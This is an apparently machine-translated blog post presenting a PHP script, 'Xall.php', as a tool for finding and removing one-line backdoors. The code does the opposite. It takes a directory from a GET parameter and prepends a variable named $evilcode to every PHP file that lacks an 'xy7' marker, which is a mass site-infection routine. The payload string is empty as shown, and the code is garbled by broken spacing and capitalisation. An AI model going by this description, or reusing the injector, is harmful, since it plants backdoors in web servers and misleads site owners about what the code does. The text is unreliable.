A single backdoor is generally simple, and it is easy to hide, causing great harm and trouble in searching. Today, I found this Xall. php code for batch query and elimination of a single-sentence backdoor. you can save a lot of trouble and always forget which file to put a single sentence in, so you can simply get rid of it all...
The code is as follows:
If (! Isset ($ dir) or empty ($ dir )){
$ Dir = str_replace ('\', '/', dirname (_ FILE __));
Echo "". $ dir ."";
} Else {
$ Dir = $ _ GET ['dir'];
Echo "". $ dir ."";
}
$ Evilcode =" ";
$ Testdir = opendir ($ dir );
While ($ filea = @ readdir ($ testdir )){
If (strstr ($ filea, '. php ')){
$ Fp = @ fopen ($ filea, 'R + ');
If (! Strstr (@ fread ($ fp, 20), 'xy7 ')){
Rewind ($ fp );
$ Old = @ fread ($ fp, filesize ($ filea ));
Rewind ($ fp );
Fwrite ($ fp, $ evilcode. $ old );
}
Fclose ($ fp );
}
}
Closedir ($ testdir );
?>
File X |
Time |
Size |
$ Dirs = @ opendir ($ dir );While ($ file = @ readdir ($ dirs )){If (is_file ($ file) and (ereg ("\. php {0, 1} $", $ file ))){$ B = "$ dir/$ file ";$ A = @ is_dir ($ B );If ($ a = "0 "){$ Size = @ filesize ("$ dir/$ file ");$ Lastsave = @ date ("Y-n-d H: I: s", filectime ("$ dir/$ file "));Echo"
\ N ";Echo"
$ File | \ N ";Echo"
$ Lastsave | \ N ";Echo"
$ Size Bytes | \ N ";}}}@ Closedir ($ dirs );?>
Codz by xuanmumu